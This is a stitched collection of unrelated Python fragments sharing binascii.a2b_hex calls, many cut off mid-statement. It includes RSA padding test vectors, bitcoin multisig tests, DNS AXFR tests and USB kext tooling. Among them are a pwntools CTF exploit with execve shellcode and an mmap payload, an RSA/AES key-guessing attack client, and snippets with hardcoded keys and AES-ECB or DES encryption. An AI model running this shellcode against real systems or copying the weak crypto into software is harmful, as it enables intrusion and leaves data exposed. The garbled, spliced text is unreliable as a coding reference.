75 e2 4b db fd 5c 1d a0 de 7c ec'.replace(" ", ""), 'utf-8'))
# Encoded message EM:
EM = a2b_hex(
bytes(
'66 e4 67 2e 83 6a d1 21 ba 24 4b ed 65 76 b8 67\
d9 a4 47 c2 8a 6e 66 a5 b8 7d ee 7f bc 7e 65 af\
50 57 f8 6f ae 89 84 d9 ba 7f 96 9a d6 fe 02 a4\
d7 5f 74 45 fe fd d8 5b 6d 3a 47 7c 28 d2 4b a1\
e3 75 6f 79 2d d1 dc e8 ca 94 44 0e cb 52 79 ec\
d3 18 3a 31 1f c8 96 da 1c b3 93 11 af 37 ea 4a\
75 e2 4b db fd 5c 1d a0 de 7c ec df 1a 89 6f 9d\
8b c8 16 d9 7c d7 a2 c4 3b ad 54 6f be 8c fe bc'.replace(" ", ""),
'utf-8'))
if debug:
print("PSS Test Vector:")
print("M =>", m)
print("Mlen =>", len(m))
print("mHash =>", mHash)
print("salt =>", salt)
print("M' =>", mPrime)
print("H =>", H)
print("DB =>", DB)
print("dbmask=>", dbMask)
print("masked=>", maskedDB)
print("EM =>", EM)
print("EMLen =>", len(EM))
pss = PSSPadding()
realEM = pss.encode(m, len(EM) * 8, salt)
self.assertEqual(EM, realEM)
def testOEAPVector1(self):
# OAEP Test vector taken from Appendix C
#ftp://ftp.rsa.com/pub/rsalabs/rsa_algorithm/rsa-oaep_spec.pdf
# --------------------------------------------------------------------------------
# Message:
m = a2b_hex(
bytes(
'd4 36 e9 95 69 fd 32 a7 c8 a0 5b bc 90 d3 2c 49'.replace(
' ', ''), 'utf-8'))
label = ""
lhash = a2b_hex(
bytes(
"da 39 a3 ee 5e 6b 4b 0d 32 55 bf ef 95 60 18 90 af d8 07 09".
replace(' ', ""), 'utf-8'))
DB = a2b_hex(
bytes(
"da 39 a3 ee 5e 6b 4b 0d 32 55 bf ef 95 60 18 90 af d8 07 09 00 00 00 00\
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 d4 36 e9 95 69\
fd 32 a7 c8 a0 5b bc 90 d3 2c 49".replace(" ", ""),
'utf-8'))
seed = a2b_hex(
bytes(
"aa fd 12 f6 59 ca e6 34 89 b4 79 e5 07 6d de c2 f0 6c b5 8f".
replace(' ', ''), 'utf-8'))
#dbmask = dbMask = MGF (seed , 107):
dbmask = a2b_hex(
bytes(
"06 e1 de b2 36 9a a5 a5 c7 07 d8 2c 8e 4e 93 24 8a c7 83 de e0 b2 c0 46\
26 f5 af f9 3e dc fb 25 c9 c2 b3 ff 8a e1 0e 83 9a 2d db 4c dc fe 4f f4\
77 28 b4 a1 b7 c1 36 2b aa d2 9a b4 8d 28 69 d5 02 41 21 43 58 11 59 1b\
e3 92 f9 82 fb 3e 87 d0 95 ae b4 04 48 db 97 2f 3a c1 4e af f4 9c 8c 3b\
7c fc 95 1a 51 ec d1 dd e6 12 64".replace(" ", ""),
'utf-8'))
#maskedDB
#seedMask = M GF (maskedDB, 20):
seedMask = a2b_hex(
bytes(
"41 87 0b 5a b0 29 e6 57 d9 57 50 b5 4c 28 3c 08 72 5d be a9".
replace(' ', ''), 'utf-8'))
maskedSeed = a2b_hex(
bytes(
"eb 7a 19 ac e9 e3 00 63 50 e3 29 50 4b 45 e2 ca 82 31 0b 26".
replace(' ', ''), 'utf-8'))
#EM = maskedSeed maskedDB
EM = a2b_hex(
bytes(
"00 eb 7a 19 ac e9 e3 00 63 50 e3 29 50 4b 45 e2 ca 82 31 0b 26 dc d8 7d 5c\
68 f1 ee a8 f5 52 67 c3 1b 2e 8b b4 25 1f 84 d7 e0 b2 c0 46 26 f5 af f9\
3e dc fb 25 c9 c2 b3 ff 8a e1 0e 83 9a 2d db 4c dc fe 4f f4 77 28 b4 a1\
b7 c1 36 2b aa d2 9a b4 8d 28 69 d5 02 41 21 43 58 11 59 1b e3 92 f9 82\
fb 3e 87 d0 95 ae b4 04 48 db 97 2f 3a c1 4f 7b c2 75 19 52 81 ce 32 d2\
f1 b7 6d 4d 35 3e 2d".replace(" ", ''), 'utf-8'))
if debug:
print("Test Vector 1:")
print("mesg =>", m)
print("label =>", label)
print("lhash =>", lhash) #Correct
print("DB =>", DB) #Correct
print("DBMask=>", dbmask) #Correct
print("seedMask=>", seedMask) #Correct
print("maskedseed=>", maskedSeed)
c = OAEPEncryptionPadding()
E = c.encode(m, 128, "", seed)
self.assertEqual(EM, E)
def decrypt(self, contain):
item = AES.new(self.key, self.mode, self.key)
ans = item.decrypt(a2b_hex(contain))
return ans.rstrip('\0')
def test_bitcoind_cosigning(dev, bitcoind, start_sign, end_sign, import_ms_wallet, clear_ms, explora, try_sign, need_keypress, addr_style):
# Make a P2SH wallet with local bitcoind as a co-signer (and simulator)
# - send an receive various
# - following text of <https://github.com/bitcoin/bitcoin/blob/master/doc/psbt.md>
# - the constructed multisig walelt will only work for a single pubkey on core side
# - before starting this test, have some funds already deposited to bitcoind testnet wallet
from pycoin.encoding import sec_to_public_pair
from binascii import a2b_hex
import re
if addr_style == 'legacy':
addr_fmt = AF_P2SH
elif addr_style == 'p2sh-segwit':
addr_fmt = AF_P2WSH_P2SH
elif addr_style == 'bech32':
addr_fmt = AF_P2WSH
try:
addr, = bitcoind.getaddressesbylabel("sim-cosign").keys()
except:
addr = bitcoind.getnewaddress("sim-cosign")
info = bitcoind.getaddressinfo(addr)
#pprint(info)
assert info['address'] == addr
bc_xfp = swab32(int(info['hdmasterfingerprint'], 16))
bc_deriv = info['hdkeypath'] # example: "m/0'/0'/3'"
bc_pubkey = info['pubkey'] # 02f75ae81199559c4aa...
pp = sec_to_public_pair(a2b_hex(bc_pubkey))
# No means to export XPUB from bitcoind! Still. In 2019.
# - this fake will only work for for one pubkey value, the first/topmost
node = BIP32Node('XTN', b'\x23'*32, depth=len(bc_deriv.split('/'))-1,
parent_fingerprint=a2b_hex('%08x' % bc_xfp), public_pair=pp)
keys = [
(bc_xfp, None, node),
(1130956047, None, BIP32Node.from_hwif('tpubD8NXmKsmWp3a3DXhbihAYbYLGaRNVdTnr6JoSxxfXYQcmwVtW2hv8QoDwng6JtEonmJoL3cNEwfd2cLXMpGezwZ2vL2dQ7259bueNKj9C8n')), # simulator: m/45'
]
M,N=2,2
clear_ms()
import_ms_wallet(M, N, keys=keys, accept=1, name="core-cosign")
cc_deriv = "m/45'/55"
cc_pubkey = B2A(BIP32Node.from_hwif(simulator_fixed_xprv).subkey_for_path(cc_deriv[2:]).sec())
# NOTE: bitcoind doesn't seem to implement pubkey sorting. We have to do it.
resp = bitcoind.addmultisigaddress(M, list(sorted([cc_pubkey, bc_pubkey])),
'shared-addr-'+addr_style, addr_style)
ms_addr = resp['address']
bc_redeem = a2b_hex(resp['redeemScript'])
assert bc_redeem[0] == 0x52
def mapper(cosigner_idx):
return list(str2ipath(cc_deriv if cosigner_idx else bc_deriv))
scr, pubkeys, xfp_paths = make_redeem(M, keys, mapper)
assert scr == bc_redeem
# check Coldcard calcs right address to match
got_addr = dev.send_recv(CCProtocolPacker.show_p2sh_address(
M, xfp_paths, scr, addr_fmt=addr_fmt), timeout=None)
assert got_addr == ms_addr
time.sleep(.1)
need_keypress('x') # clear screen / start over
print(f"Will be signing an input from {ms_addr}")
if xfp2str(bc_xfp) in ('5380D0ED', 'EDD08053'):
# my own expected values
assert ms_addr in ( '2NDT3ymKZc8iMfbWqsNd1kmZckcuhixT5U4',
'2N1hZJ5mazTX524GQTPKkCT4UFZn5Fqwdz6',
'tb1qpcv2rkc003p5v8lrglrr6lhz2jg8g4qa9vgtrgkt0p5rteae5xtqn6njw9')
# Need some UTXO to sign
#
# - but bitcoind can't give me that (using listunspent) because it's only a watched addr??
#
did_fund = False
while 1:
rr = explora('address', ms_addr, 'utxo')
pprint(rr)
avail = []
amt = 0
for i in rr:
txn = i['txid']
vout = i['vout']
avail.append( (txn, vout) )
amt += i['value']
# just use first UTXO available; save other for later tests
break
else:
# doesn't need to confirm, but does need to reach public testnet/blockstream
assert not amt and not avail
if not did_fund:
print(f"Sending some XTN to {ms_addr} (wait)")
bitcoind.sendtoaddress(ms_addr, 0.0001, 'fund testing')
did_fund = True
else:
print(f"Still waiting ...")
time.sleep(2)
if amt: break
ret_addr = bitcoind.getrawchangeaddress()
''' If you get insufficent funds, even tho we provide the UTXO (!!), do this:
bitcoin-cli importaddress "2NDT3ymKZc8iMfbWqsNd1kmZckcuhixT5U4" true true
Better method: always fund addresses for testing here from same wallet (ie.
got from non-multisig to multisig on same bitcoin-qt instance).
-> Now doing that, automated, above.
'''
resp = bitcoind.walletcreatefundedpsbt([dict(txid=t, vout=o) for t,o in avail],
[{ret_addr: amt/1E8}], 0,
{'subtractFeeFromOutputs': [0], 'includeWatching': True}, True)
assert resp['changepos'] == -1
psbt = b64decode(resp['psbt'])
open('debug/funded.psbt', 'wb').write(psbt)
# patch up the PSBT a little ... bitcoind doesn't know the path for the CC's key
ex = BasicPSBT().parse(psbt)
cxpk = a2b_hex(cc_pubkey)
for i in ex.inputs:
assert cxpk in i.bip32_paths, 'input not to be signed by CC?'
i.bip32_paths[cxpk] = pack('<3I', keys[1][0], *str2ipath(cc_deriv))
psbt = ex.as_bytes()
open('debug/patched.psbt', 'wb').write(psbt)
_, updated = try_sign(psbt, finalize=False)
open('debug/cc-updated.psbt', 'wb').write(updated)
# have bitcoind do the rest of the signing
rr = bitcoind.walletprocesspsbt(b64encode(updated).decode('ascii'))
pprint(rr)
open('debug/bc-processed.psbt', 'wt').write(rr['psbt'])
assert rr['complete']
# finalize and send
rr = bitcoind.finalizepsbt(rr['psbt'], True)
open('debug/bc-final-txn.txn', 'wt').write(rr['hex'])
assert rr['complete']
txn_id = bitcoind.sendrawtransaction(rr['hex'])
print(txn_id)
def write(self, data):
length = self.ser.write(binascii.a2b_hex(data))
return length
def _core_uuid(self, request, response):
response += tlv_pack(TLV_TYPE_UUID, binascii.a2b_hex(PAYLOAD_UUID))
return ERROR_SUCCESS, response
return binascii.b2a_hex(bytes(byte_array[::-1])).upper()
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("bsdl")
parser.add_argument("pin")
parser.add_argument("state", type=int, choices=[0, 1])
args = vars(parser.parse_args())
bsdl = BsdlJson(args["bsdl"])
with openocd.OpenOcd() as ocd:
ocd.send("irscan xc6s.tap {}".format(bsdl.sample_opcode))
boundary_reg = binascii.a2b_hex(
ocd.send("drscan xc6s.tap {} 0".format(bsdl.boundary_length)))
bit_state_dict = {}
for bit in range(0, bsdl.boundary_length):
cell = bsdl.boundary_register[str(bit)]
cell_spec = cell["cell_spec"]
if cell_spec["port_id"] == "IO_{}".format(args["pin"]):
if cell_spec["function"].upper() == "OUTPUT3":
disable_spec = cell["input_or_disable_spec"]
control_cell_number = int(disable_spec["control_cell"])
disable_value = int(disable_spec["disable_value"])
enable_value = 0 if disable_value == 1 else 1
bit_state_dict[control_cell_number] = enable_value
bit_state_dict[bit] = args["state"]
bit_settings = get_bit_settings(bit_state_dict,
def test_dispatch_opcode_query_AXFR_rr_over_max_size(self):
# Query is for example.com. IN AXFR
# id 18883
# opcode QUERY
# rcode NOERROR
# flags AD
# edns 0
# payload 4096
# ;QUESTION
# example.com. IN AXFR
# ;ANSWER
# ;AUTHORITY
# ;ADDITIONAL
payload = ("49c300200001000000000001076578616d706c6503636f6d0000fc0001"
"0000291000000000000000")
expected_response = [
# Initial SOA
(b"49c384000001000100000000076578616d706c6503636f6d0000fc0001c00c0"
b"006000100000e10002f036e7331076578616d706c65036f726700076578616d"
b"706c65c00c551c063900000e10000002580001518000000e10"),
# SRVFAIL
(""),
]
# Set the max-message-size to 128
self.config(max_message_size=128, group='service:mdns')
zone = objects.Zone.from_dict({
'name': 'example.com.',
'ttl': 3600,
'serial': 1427899961,
'email': '*****@*****.**',
})
def _find_recordsets_axfr(context, criterion):
if criterion['type'] == 'SOA':
return [['UUID1', 'SOA', '3600', 'example.com.',
'ns1.example.org. example.example.com. 1427899961 '
'3600 600 86400 3600', 'ACTION']]
elif criterion['type'] == '!SOA':
return [
['UUID2', 'NS', '3600', 'example.com.',
'a' * 63 + '.' + 'a' * 63 + '.', 'ACTION'],
]
with mock.patch.object(self.storage, 'find_zone',
return_value=zone):
with mock.patch.object(self.storage, 'find_recordsets_axfr',
side_effect=_find_recordsets_axfr):
request = dns.message.from_wire(binascii.a2b_hex(payload))
request.environ = {'addr': self.addr, 'context': self.context}
response_generator = self.handler(request)
# Validate the first response
response_one = next(response_generator).get_wire()
self.assertEqual(
expected_response[0], binascii.b2a_hex(response_one))
# Validate the second response is a SERVFAIL
response_two = next(response_generator)
self.assertEqual(
dns.rcode.SERVFAIL, response_two.rcode())
# Ensure a StopIteration is raised after the final response.
with testtools.ExpectedException(StopIteration):
next(response_generator)
def set_tempo_event(self, bpm):
"""Calculate the microseconds per quarter note."""
ms_per_min = 60000000
mpqn = a2b_hex('%06x' % (ms_per_min / bpm))
return self.delta_time + META_EVENT + SET_TEMPO + '\x03' + mpqn
def test_dispatch_opcode_query_AXFR(self):
# Query is for example.com. IN AXFR
# id 18883
# opcode QUERY
# rcode NOERROR
# flags AD
# edns 0
# payload 4096
# ;QUESTION
# example.com. IN AXFR
# ;ANSWER
# ;AUTHORITY
# ;ADDITIONAL
payload = ("49c300200001000000000001076578616d706c6503636f6d0000fc0001"
"0000291000000000000000")
# id 18883
# opcode QUERY
# rcode NOERROR
# flags QR AA
# ;QUESTION
# example.com. IN AXFR
# ;ANSWER
# example.com. 3600 IN SOA ns1.example.org. example.example.com.
# -> 1427899961 3600 600 86400 3600
# mail.example.com. 3600 IN A 192.0.2.1
# example.com. 3600 IN NS ns1.example.org.
# ;AUTHORITY
# ;ADDITIONAL
expected_response = \
(b"49c384000001000400000000076578616d706c6503636f6d0000fc0001c0"
b"0c0006000100000e10002f036e7331076578616d706c65036f7267000765786"
b"16d706c65c00c551c063900000e10000002580001518000000e10c00c000200"
b"0100000e100002c029046d61696cc00c0001000100000e100004c0000201c00"
b"c0006000100000e100018c029c03a551c063900000e10000002580001518000"
b"000e10")
zone = objects.Zone.from_dict({
'name': 'example.com.',
'ttl': 3600,
'serial': 1427899961,
'email': '*****@*****.**',
})
def _find_recordsets_axfr(context, criterion):
if criterion['type'] == 'SOA':
return [['UUID1', 'SOA', '3600', 'example.com.',
'ns1.example.org. example.example.com. 1427899961 '
'3600 600 86400 3600', 'ACTION']]
elif criterion['type'] == '!SOA':
return [
['UUID2', 'NS', '3600', 'example.com.', 'ns1.example.org.',
'ACTION'],
['UUID3', 'A', '3600', 'mail.example.com.', '192.0.2.1',
'ACTION'],
]
with mock.patch.object(self.storage, 'find_zone',
return_value=zone):
with mock.patch.object(self.storage, 'find_recordsets_axfr',
side_effect=_find_recordsets_axfr):
request = dns.message.from_wire(binascii.a2b_hex(payload))
request.environ = {'addr': self.addr, 'context': self.context}
response = next(self.handler(request)).get_wire()
self.assertEqual(expected_response, binascii.b2a_hex(response))
def test_dispatch_opcode_query_tsig_scope_zone(self):
# Create a zone/recordset/record to query
zone = self.create_zone(name='example.com.')
recordset = self.create_recordset(
zone, name='example.com.', type='A')
self.create_record(
zone, recordset, data='192.0.2.5')
# Create a TSIG Key Matching the zone
tsigkey_zone_known = self.create_tsigkey(
name='known-zone',
scope='ZONE',
resource_id=zone.id)
# DNS packet with QUERY opcode for A example.com.
payload = ("c28901200001000000000001076578616d706c6503636f6d0000010001"
"0000291000000000000000")
request = dns.message.from_wire(binascii.a2b_hex(payload))
request.environ = {
'addr': self.addr,
'context': self.context,
'tsigkey': tsigkey_zone_known,
}
# Ensure the Query, with the correct zone's TSIG, gives a NOERROR.
# id 49801
# opcode QUERY
# rcode NOERROR
# flags QR AA RD
# edns 0
# payload 8192
# ;QUESTION
# example.com. IN A
# ;ANSWER
# example.com. 3600 IN A 192.0.2.5
# ;AUTHORITY
# ;ADDITIONAL
expected_response = (b"c28985000001000100000001076578616d706c6503636f"
b"6d0000010001c00c0001000100000e100004c000020500"
b"00292000000000000000")
response = next(self.handler(request)).to_wire()
self.assertEqual(expected_response, binascii.b2a_hex(response))
# Ensure the Query, with the incorrect zone's TSIG, gives a REFUSED
request.environ['tsigkey'] = self.tsigkey_zone_unknown
# id 49801
# opcode QUERY
# rcode REFUSED
# flags QR RD
# edns 0
# payload 8192
# ;QUESTION
# example.com. IN A
# ;ANSWER
# ;AUTHORITY
# ;ADDITIONAL
expected_response = (b"c28981050001000000000001076578616d706c6503636f"
b"6d00000100010000292000000000000000")
response = next(self.handler(request)).to_wire()
self.assertEqual(expected_response, binascii.b2a_hex(response))
def runTest(self):
self.assertRaises(ValueError, self.module.new, a2b_hex(self.key),
self.module.MODE_PGP)
def test_dispatch_opcode_query_AXFR_multiple_messages_with_tsig(self,
mock_multi_tsig):
# Query is for example.com. IN AXFR
# id 18883
# opcode QUERY
# rcode NOERROR
# flags AD
# edns 0
# payload 4096
# ;QUESTION
# example.com. IN AXFR
# ;ANSWER
# ;AUTHORITY
# ;ADDITIONAL
payload = ("49c300200001000000000001076578616d706c6503636f6d0000fc0001"
"0000291000000000000000")
expected_response = [
(b"49c384000001000300000000076578616d706c6503636f6d0000fc0001c00c"
b"0006000100000e10002f036e7331076578616d706c65036f726700076578616"
b"d706c65c00c551c063900000e10000002580001518000000e10c00c0002000"
b"100000e100002c029046d61696cc00c0001000100000e100004c0000201"),
(b"49c384000001000100000000076578616d706c6503636f6d0000fc0001c00c"
b"0006000100000e10002f036e7331076578616d706c65036f72670007657861"
b"6d706c65c00c551c063900000e10000002580001518000000e10"),
]
# Set the max-message-size to 363
self.config(max_message_size=363, group='service:mdns')
zone = objects.Zone.from_dict({
'name': 'example.com.',
'ttl': 3600,
'serial': 1427899961,
'email': '*****@*****.**',
})
def _find_recordsets_axfr(context, criterion):
if criterion['type'] == 'SOA':
return [['UUID1', 'SOA', '3600', 'example.com.',
'ns1.example.org. example.example.com. 1427899961 '
'3600 600 86400 3600', 'ACTION']]
elif criterion['type'] == '!SOA':
return [
['UUID2', 'NS', '3600', 'example.com.', 'ns1.example.org.',
'ACTION'],
['UUID3', 'A', '3600', 'mail.example.com.', '192.0.2.1',
'ACTION'],
]
with mock.patch.object(self.storage, 'find_zone',
return_value=zone):
with mock.patch.object(self.storage, 'find_recordsets_axfr',
side_effect=_find_recordsets_axfr):
request = dns.message.from_wire(binascii.a2b_hex(payload))
request.environ = {'addr': self.addr, 'context': self.context}
request.keyring = {request.keyname: ''}
request.had_tsig = True
args = [request.keyname, request.keyring[request.keyname],
request.fudge, request.original_id, request.tsig_error,
request.other_data, request.mac, request.keyalgorithm]
response_generator = self.handler(request)
# Validate the first response
response_one = next(response_generator).get_wire()
mock_multi_tsig.assert_called_with(None, *args)
self.assertEqual(
expected_response[0], binascii.b2a_hex(response_one))
# Validate the second response
response_two = next(response_generator).get_wire()
first_msg_ctx = mock_multi_tsig.return_value
mock_multi_tsig.assert_called_with(first_msg_ctx, *args)
self.assertEqual(
expected_response[1], binascii.b2a_hex(response_two))
def record_iternext(next=None):
oid, tid, data, next = self.base.record_iternext(next)
return oid, tid, binascii.a2b_hex(data[2:]), next
from M2Crypto.EVP import Cipher
from M2Crypto import m2
from M2Crypto import util
import binascii
ENCRYPT_OP = 1
DECRYPT_OP = 0
hex1= binascii.a2b_hex("abcd")
hex2 = ord(hex1[0])
iv = '\0' * 16 # init not used for aes_128_ecb
PRIVATE_KEY = "hsylgwk-2012aaaa"
def Encrypt(data):
cipher = Cipher(alg='aes_128_ecb', key=PRIVATE_KEY, iv=iv, op=ENCRYPT_OP)
buf = cipher.update(data)
buf = buf + cipher.final()
del cipher
output = ''
for i in buf:
output += '%02X' % (ord(i))
return output
def Decrypt(data):
#data = util.h2b(data)
data1 = binascii.a2b_hex(data)
#for i in len(data)/2:
from pwn import *
import binascii
context.log_level = "debug"
elf = "./beeper"
ENV = {"LD_PRELOAD": "./libc.so.6"}
password = "******"
shellcode = \
"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
mmap_code = \
"686f6420018134240101010148b8757920612070686f5048b8616e206e6f7420625048b865722c796f7520635048b842616420" + \
"6861636b506a01586a015f6a235a4889e60f05c9c3"
mmap_code = binascii.a2b_hex(mmap_code)
inc = "m"
dec = "u"
nop = "h"
p = process(elf)
def auth():
p.recvuntil("password:\n")
payload = password
payload += p8(0) * (0x71 - len(payload))
p.sendline(payload)
def runTest(self):
self.assertRaises(TypeError, self.module.new, a2b_hex(self.key),
self.module.MODE_CTR)
key = ""
with open(serverPublicKeyFileName, 'r') as f:
key = RSA.importKey(f.read())
n = key.n
e = key.e
MESSAGE_LENGTH = 2048
b = 255
ciphertext1 = ''.join(ciphertext1.split())
AESkey = ciphertext1[:512]
InAesK = int(AESkey, 16)
c1 = (InAesK * (2**(b * e)) % n)
c1bytes = long_to_bytes(c1)
#encryptedKey = key.encrypt(c1bytes, 32)[0]
GuessAESKeybin = "1" + "".zfill(255)
if hex(int(GuessAESKeybin, 2))[-1:] == 'L':
MyguessAESKey = binascii.a2b_hex(
hex(int(GuessAESKeybin, 2))[2:-1].zfill(64))
else:
MyguessAESKey = binascii.a2b_hex(hex(int(GuessAESKeybin, 2))[2:].zfill(64))
#MyguessAESKey=
aes = AESCipher(MyguessAESKey)
msg = ""
try:
# Send data
try:
message = aes.encrypt('THis is my test message')
except ValueError:
print("Client with port {} failed.".format(args.port), file=sys.stderr)
exit(1)
msg = c1bytes + message
# msg: AES key encrypted by the public key of RSA
def decrypt(self, text):
plain_text = self.cryptor.decrypt(a2b_hex(text)).decode()
return plain_text.rstrip(' ')
def decrypt(self, text):
cryptor = AES.new(self.key, self.mode, b'0000000000000000')
plain_text = cryptor.decrypt(a2b_hex(text))
return plain_text.rstrip(b'\0')
def sendResponse(self, conn):
answ = False
str2b = binascii.a2b_hex(bytes('0100', 'utf-8'))
if conn.make_request(12, str2b):
answ = True
return answ
from binascii import b2a_hex, a2b_hex
from Crypto.Cipher import DES
key = '12345678' #长度必须是8位的
text = 'simonzhang.net ' #长度必须是8的倍数,我用空格补的
# 实例化
obj = DES.new(key)
# 加密
cryp = obj.encrypt(text)
pass_hex = b2a_hex(cryp)
print(pass_hex)
print('=' * 20)
# 解密
get_cryp = a2b_hex(pass_hex)
after_text = obj.decrypt(get_cryp)
print(after_text)
def build_kext(self):
empty_controllers = [c for c in self.controllers_historical if not any(p["selected"] for p in c["ports"])]
response = None
if empty_controllers:
empty_menu = utils.TUIMenu(
"Selection Validation",
"Select an option: ",
in_between=["The following controllers have no enabled ports:", ""]
+ [controller["name"] for controller in empty_controllers]
+ ["Select whether to ignore these controllers and exclude them from the map, or disable all ports on these controllers."],
add_quit=False,
return_number=True,
)
empty_menu.add_menu_option("Ignore", key="I")
empty_menu.add_menu_option("Disable", key="D")
response = empty_menu.start()
model_identifier = None
if self.settings["use_native"]:
if platform.system() == "Darwin":
model_identifier = plistlib.loads(subprocess.run("system_profiler -detailLevel mini -xml SPHardwareDataType".split(), stdout=subprocess.PIPE, stderr=subprocess.STDOUT).stdout.strip())[
0
]["_items"][0]["machine_model"]
else:
model_menu = utils.TUIOnlyPrint(
"Enter Model Identifier",
"Enter the model identifier: ",
[
"You are seeing this as you have selected to use native classes. Model identifier autodetection is unavailable as you are not on macOS.",
"Please enter the model identifier of the target system below. You can find it in System Information or with 'system_profiler -detailLevel mini SPHardwareDataType'.",
],
).start()
model_identifier = model_menu.strip()
ignore = response == "I"
template = plistlib.load((shared.resource_dir / Path("Info.plist")).open("rb"))
menu = utils.TUIMenu("Building USBMap", "Select an option: ")
menu.head()
print("Generating Info.plist...")
for controller in self.controllers_historical:
if not any(i["selected"] for i in controller["ports"]) and ignore:
continue
# FIXME: ensure unique
if controller["identifiers"].get("acpi_path"):
if self.check_unique(lambda c: c["identifiers"]["acpi_path"].rpartition(".")[2], lambda c: "acpi_path" in c["identifiers"], controller):
personality_name: str = controller["identifiers"]["acpi_path"].rpartition(".")[2]
else:
personality_name: str = controller["identifiers"]["acpi_path"][1:] # Strip leading \
elif controller["identifiers"].get("bdf"):
personality_name: str = ":".join([str(i) for i in controller["identifiers"]["bdf"]])
else:
personality_name: str = controller["name"]
if self.settings["use_native"]:
personality = {
"CFBundleIdentifier": "com.apple.driver." + ("AppleUSBMergeNub" if self.settings["use_legacy_native"] else "AppleUSBHostMergeProperties"),
"IOClass": ("AppleUSBMergeNub" if self.settings["use_legacy_native"] else "AppleUSBHostMergeProperties"),
"IOProviderClass": "AppleUSBHostController",
"IOParentMatch": self.choose_matching_key(controller),
"model": model_identifier,
}
else:
personality = {
"CFBundleIdentifier": "com.dhinakg.USBToolBox.kext",
"IOClass": "USBToolBox",
"IOProviderClass": "IOPCIDevice",
"IOMatchCategory": "USBToolBox",
} | self.choose_matching_key(
controller
) # type: ignore
personality["IOProviderMergeProperties"] = {"ports": {}, "port-count": None}
port_name_index = {}
highest_index = 0
for port in controller["ports"]:
if not port["selected"]:
continue
if port["index"] > highest_index:
highest_index = port["index"]
if controller["class"] == shared.USBControllerTypes.XHCI and port["class"] == shared.USBDeviceSpeeds.SuperSpeed:
prefix = "SS"
elif controller["class"] == shared.USBControllerTypes.XHCI and port["class"] == shared.USBDeviceSpeeds.HighSpeed:
prefix = "HS"
else:
prefix = "PRT"
port_index = port_name_index.setdefault(prefix, 1)
port_name = prefix + str(port_index).zfill(4 - len(prefix))
port_name_index[prefix] += 1
personality["IOProviderMergeProperties"]["ports"][port_name] = {
"port": binascii.a2b_hex(hexswap(hex(port["index"])[2:].zfill(8))),
"UsbConnector": port["type"] or port["guessed"],
}
if self.settings["add_comments_to_map"] and port["comment"]:
personality["IOProviderMergeProperties"]["ports"][port_name]["#comment"] = port["comment"]
personality["IOProviderMergeProperties"]["port-count"] = binascii.a2b_hex(hexswap(hex(highest_index)[2:].zfill(8)))
template["IOKitPersonalities"][personality_name] = personality
if not self.settings["use_native"]:
template["OSBundleLibraries"] = {"com.dhinakg.USBToolBox.kext": "1.0.0"}
output_kext = None
if self.settings["use_native"] and self.settings["use_legacy_native"]:
output_kext = "USBMapLegacy.kext"
elif self.settings["use_native"]:
output_kext = "USBMap.kext"
else:
output_kext = "UTBMap.kext"
write_path = shared.current_dir / Path(output_kext)
if write_path.exists():
print("Removing existing kext...")
shutil.rmtree(write_path)
print("Writing kext and Info.plist...")
(write_path / Path("Contents")).mkdir(parents=True)
plistlib.dump(template, (write_path / Path("Contents/Info.plist")).open("wb"), sort_keys=True)
print(f"Done. Saved to {write_path.resolve()}.\n")
menu.print_options()
menu.select()
return True
os.environ['ETH_HASH_BACKEND'] = 'pycryptodome'
# from eth_hash.backends.pycryptodome import keccak256 # noqa
# print('Using eth_hash backend {}'.format(keccak256))
import web3
#
# Set default XBR contract addresses to
# XBR v20.4.2 @ Rinkeby (https://github.com/crossbario/xbr-protocol/issues/106)
#
if 'XBR_DEBUG_TOKEN_ADDR' in os.environ:
_token_adr = os.environ['XBR_DEBUG_TOKEN_ADDR']
try:
_token_adr = binascii.a2b_hex(_token_adr[2:])
_token_adr = web3.Web3.toChecksumAddress(_token_adr)
except Exception as e:
raise RuntimeError('could not parse Ethereum address for XBR_DEBUG_TOKEN_ADDR={} - {}'.format(_token_adr, e))
XBR_DEBUG_TOKEN_ADDR = _token_adr
XBR_DEBUG_TOKEN_ADDR_SRC = 'env'
else:
XBR_DEBUG_TOKEN_ADDR = '0x8d41eF64D49eA1550B4b41a8959D856601441503'
XBR_DEBUG_TOKEN_ADDR_SRC = 'builtin'
if 'XBR_DEBUG_NETWORK_ADDR' in os.environ:
_netw_adr = os.environ['XBR_DEBUG_NETWORK_ADDR']
try:
_netw_adr = binascii.a2b_hex(_netw_adr[2:])
_netw_adr = web3.Web3.toChecksumAddress(_netw_adr)
except Exception as e:
def run_test(self):
node = self.nodes[0]
node.generate(1) # Mine a block to leave initial block download
tmpl = node.getblocktemplate()
if 'coinbasetxn' not in tmpl:
rawcoinbase = encodeUNum(tmpl['height'])
rawcoinbase += b'\x01-'
hexcoinbase = b2x(rawcoinbase)
hexoutval = b2x(pack('<Q', tmpl['coinbasevalue']))
tmpl['coinbasetxn'] = {
'data':
'01000000' + '01' +
'0000000000000000000000000000000000000000000000000000000000000000ffffffff'
+ ('%02x' % (len(rawcoinbase), )) + hexcoinbase + 'fffffffe' +
'01' + hexoutval + '00' + '00000000'
}
txlist = list(
bytearray(a2b_hex(a['data']))
for a in (tmpl['coinbasetxn'], ) + tuple(tmpl['transactions']))
# Test 0: Capability advertised
assert ('proposal' in tmpl['capabilities'])
# NOTE: This test currently FAILS (regtest mode doesn't enforce block height in coinbase)
## Test 1: Bad height in coinbase
#txlist[0][4+1+36+1+1] += 1
#assert_template(node, tmpl, txlist, 'FIXME')
#txlist[0][4+1+36+1+1] -= 1
# Test 2: Bad input hash for gen tx
txlist[0][4 + 1] += 1
assert_template(node, tmpl, txlist, 'bad-cb-missing')
txlist[0][4 + 1] -= 1
# Test 3: Truncated final tx
lastbyte = txlist[-1].pop()
try:
assert_template(node, tmpl, txlist, 'n/a')
except JSONRPCException:
pass # Expected
txlist[-1].append(lastbyte)
# Test 4: Add an invalid tx to the end (duplicate of gen tx)
txlist.append(txlist[0])
assert_template(node, tmpl, txlist, 'bad-txns-duplicate')
txlist.pop()
# Test 5: Add an invalid tx to the end (non-duplicate)
txlist.append(bytearray(txlist[0]))
txlist[-1][4 + 1] = b'\xff'
